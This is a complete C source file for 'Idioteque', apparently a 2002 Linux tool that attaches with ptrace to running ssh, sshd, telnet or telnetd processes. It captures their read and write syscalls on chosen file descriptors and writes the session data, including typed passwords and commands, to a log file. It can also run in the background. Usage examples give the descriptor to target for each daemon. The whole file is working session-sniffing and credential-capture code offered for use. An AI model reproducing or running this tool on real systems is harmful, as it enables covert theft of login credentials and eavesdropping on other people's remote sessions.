/*
 *
 * $Id: smokingtwojoints.c,v 0.2.public 2002/08/18 1:08:06 xenion Exp $
 *
 * ---------------------------------------------------------------------------
 * No part of this project may be used to break the law, or to cause damage of
 * any kind. And I'm not responsible for anything you do with it.
 * ---------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
 * <xenion@acidlife.com> wrote this file.  As long as you retain this notice
 * you can do whatever you want with this stuff. If we meet some day, and you
 * think this stuff is worth it, you can buy me a beer in return.
 * xenion ~ Dallachiesa Michele
 * ---------------------------------------------------------------------------
 */

/*
you can log ssh/telnet sessions (and sshd/telnetd childs..) using ptrace(2)

examples (try to change fd(s) if they won't work!):

ssh:        ./idioteque -p PID -d 5
sshd:       ./idioteque -p PID -d 7
in.telnetd: ./idioteque -p PID -d 0
telnet:     ./idioteque -p PID -d 1

greetz: darkangel
*/


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#define VERSION "0.2.public"

void            fatal(char *, ...);
void            init_opt(int, char **);
void            help();
void            sigdie(int);
void           *ttmemcpy(pid_t, unsigned char *, unsigned char *, size_t);
size_t          getmytime(char *, size_t, const char *);
void            printstatus(const char *format, ...);
int            *get_coma_options(unsigned char *);
int             pidexists(pid_t);

typedef struct {
    pid_t           pid;
    int             status,
                    mode,
                   *fds;
    int             background;
    FILE           *lfile;
    FILE           *sfile;
} OPT;

OPT             o;


int
main(int argc, char **argv)
{
    struct user_regs_struct data;
    unsigned char   buf[4096];
    int             i;

    init_opt(argc, argv);

    if (o.background)
  if (fork())
      exit(0);

    printstatus("pid         : %d %s\n", getpid(),
    o.background ? "(Running in background)" : "");
    printstatus("ptraced pid : %d\n", o.pid);
    printstatus("fds         :%s", o.fds ? "" : " ALL");
    if (o.fds)
  for (i = 1; i < *o.fds; ++i)
      fprintf(o.sfile, " %d", *(o.fds + i));
    fprintf(o.sfile, "\n");
    printstatus("\n");
    fflush(o.sfile);

    signal(SIGTERM, sigdie);
    signal(SIGINT, sigdie);
    signal(SIGQUIT, sigdie);
    signal(SIGHUP, sigdie);
    signal(SIGSEGV, sigdie);
    signal(SIGURG, SIG_IGN);

    if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0) {
  o.pid = 0;
  fatal("PTRACE_ATTACH failed");
    }

    o.mode = 1;
    printstatus("Listening..\n\n");

    while (1) {

  if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
      fatal("PTRACE_SYSCALL failed");

  wait(&o.status);

  if (WSTOPSIG(o.status) != SIGTRAP) {
      printstatus("Sending signal %d\n", WSTOPSIG(o.status));
      ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
  }

  switch (o.mode) {

  case 1:
      o.mode = 2;
      // if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
      // fatal("PTRACE_GETREGS failed");

      // printf("started:\n");
      // printf("eax: %8lx orig_eax: %8lx\n", data.eax,
      // data.orig_eax);
      // printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
      // printf("edx: %8lx\n\n", data.edx);

      break;

  case 2:
      if (ptrace(PTRACE_GETREGS, o.pid, &data, &data) < 0)
    fatal("PTRACE_GETREGS failed");

      // printf("returned:\n");
      // printf("eax: %8lx orig_eax: %8lx\n", data.eax,
      // data.orig_eax);
      // printf("ebx: %8lx ecx: %8lx\n", data.ebx, data.ecx);
      // printf("edx: %8lx\n\n", data.edx);

      if (o.fds) {
    for (i = 1; i < *o.fds; ++i)
        if (*(o.fds + i) == data.ebx)
      o.mode = 3;
      } else
    o.mode = 3;

      memset(buf, '\0', sizeof buf);

      if ((data.orig_eax == __NR_read || data.orig_eax == __NR_write)
    && o.mode == 3 && data.eax > 0) {
    if (ttmemcpy
        (o.pid, buf, (unsigned char *) data.ecx,
         data.eax) == NULL)
        fatal("ttmemcpy()");
    buf[data.eax] = '\0';
    fprintf(o.lfile, "%s", buf);
    fflush(o.lfile);
      }

      o.mode = 1;
      break;

  default:
      fatal("Oops");
      break;
  }

    }

    return 0;
}


void
init_opt(int argc, char **argv)
{
    int             c;

    o.pid = 0;
    o.fds = NULL;
    o.background = 0;
    o.sfile = o.lfile = stdout;

    while ((c = getopt(argc, argv, "p:d:s:l:bh")) != EOF)
  switch (c) {

  case 'p':
      if ((o.pid = atoi(optarg)) == 0)
    fatal("Invalid process id");
      if (!pidexists(o.pid)) {
    o.pid = 0;
    fatal("No such process");
      }

      break;

  case 'd':
      o.fds = get_coma_options(optarg);
      break;

  case 's':
      o.sfile = fopen(optarg, "w");
      if (o.sfile == NULL) {
    o.sfile = stdout;
    fatal("unable to open status file");
      }
      break;

  case 'l':
      o.lfile = fopen(optarg, "w");
      if (o.lfile == NULL)
    fatal("unable to open log file");
      break;

  case 'b':
      o.background = 1;
      break;

  case 'h':
      help();
      break;

  default:
      fatal("try -h");
  }

    if (o.pid == 0)
  fatal("pid needed");
}


void
fatal(char *pattern, ...)
{

    char            timebuf[20];
    va_list         ap;

    va_start(ap, pattern);
    getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");
    fprintf(o.sfile, "%s ", timebuf);
    vfprintf(o.sfile, pattern, ap);
    fprintf(o.sfile, "; exit forced.\n");
    va_end(ap);

    if (o.fds)
  free(o.fds);
    if (o.pid == 0)
  exit(0);

    sigdie(SIGTERM);
}


int            *
get_coma_options(unsigned char *s)
{
    unsigned char  *p,
                   *e;
    int            *arr;
    int             c;

    arr = malloc(sizeof(int));  // no. of entries

    for (p = s, *arr = 1; *p; ++*arr) {
  if ((e = index(p, (int) ',')) == NULL)
      e = index(p, (int) '\0');
  c = *e;
  *e = '\0';
  realloc(arr, *arr * sizeof(int) + 1);
  *(arr + *arr) = atoi(p);
  *e = c;

  if (*arr == INT_MAX)
      break;
  p = c ? ++e : e;
    }
    return arr;
}


void
help()
{
    printf("Idioteque v%s\n\n", VERSION);
    printf("USAGE: idioteque [options]\n\n");
    printf("-p pid                              pid to be traced\n");
    printf("-d fd1,fd2,fd3,..                   fd(s) to be logged\n");
    printf("-b                                  Run in background\n");
    printf("-s                                  Status file\n");
    printf("-l                                  fd(s) log file\n");
    printf("\n");

    exit(0);
}


void
sigdie(int signo)
{
    int             pid;

    if (o.sfile == o.lfile && o.pid > 0)
  fprintf(o.sfile, "\n");

    switch (signo) {
    case SIGURG:
  printstatus("caught SIGURG signal, cleaning up\n");
  break;
    case SIGPIPE:
  printstatus("caught SIGPIPE signal, cleaning up\n");
  break;
    case SIGQUIT:
  printstatus("caught SIGQUIT signal, cleaning up\n");
  break;
    case SIGINT:
  printstatus("caught SIGINT signal, cleaning up\n");
  break;
    case SIGTERM:
  printstatus("caught SIGTERM signal, cleaning up\n");
  break;
    case SIGHUP:
  printstatus("caught SIGHUP signal, cleaning up\n");
  break;
    case SIGSEGV:
  printstatus("caught SIGSEGV signal, cleaning up\n");
  break;
    case SIGBUS:
  printstatus("caught SIGBUS signal, cleaning up\n");
  break;
    default:
  printstatus("caught signal %d, cleaning up\n", signo);
  break;
    }

    if (o.pid != 0) {

  switch (pid = fork()) {

  case -1:
      fatal("fork()");
      break;

  case 0:    /* child process starts */
      printstatus
    ("sending a SIGCONT signal to the ptraced process\n");
      if (kill(o.pid, SIGCONT) < 0) {
    o.pid = 0;
    fatal("kill()");
      }
      break;

  default:    /* parent process starts */
      wait(&o.status);
      if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
    printstatus("PTRACE_DETACH failed\n", o.pid);
      printstatus("exited: %s\n", strerror(errno));
      break;

  }

    }

    exit(0);

}


void           *
ttmemcpy(pid_t pid, unsigned char *dest, unsigned char *src, size_t count)
{
    size_t          off;
    long int        res;

    for (off = 0; off < count; off += sizeof(long int)) {
  res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
  if (errno > 0)
      return NULL;
  else {
      memcpy(dest + off, &res, sizeof(long int));
      // printf("[%c][%c]", *(dest + off), *(dest + off + 1));
      // printf("[%c][%c]\n", *(dest + off + 2), *(dest + off + 3));
  }
    }

    return dest;
}


void
printstatus(const char *format, ...)
{

    char            timebuf[20];

    va_list         ap;
    va_start(ap, format);

    getmytime(timebuf, 20, "%d/%m/%y#%H:%M:%S");

    fprintf(o.sfile, "%s ", timebuf);
    vfprintf(o.sfile, format, ap);
    fflush(o.sfile);

    va_end(ap);

}


size_t
getmytime(char *s, size_t max, const char *format)
{

    time_t          t;
    struct tm      *mytm;
    size_t          z;

    time(&t);

    mytm = localtime(&t);

    z = strftime(s, max, format, mytm);

    return (z);

}


int
pidexists(pid_t pid)
{
    struct stat     buf;
    char            path[12];

    sprintf(path, "/proc/%d", pid);

    if (stat(path, &buf) < 0)
  return 0;
    return 1;

}

/*
 * this is the place for a little EOF 
 */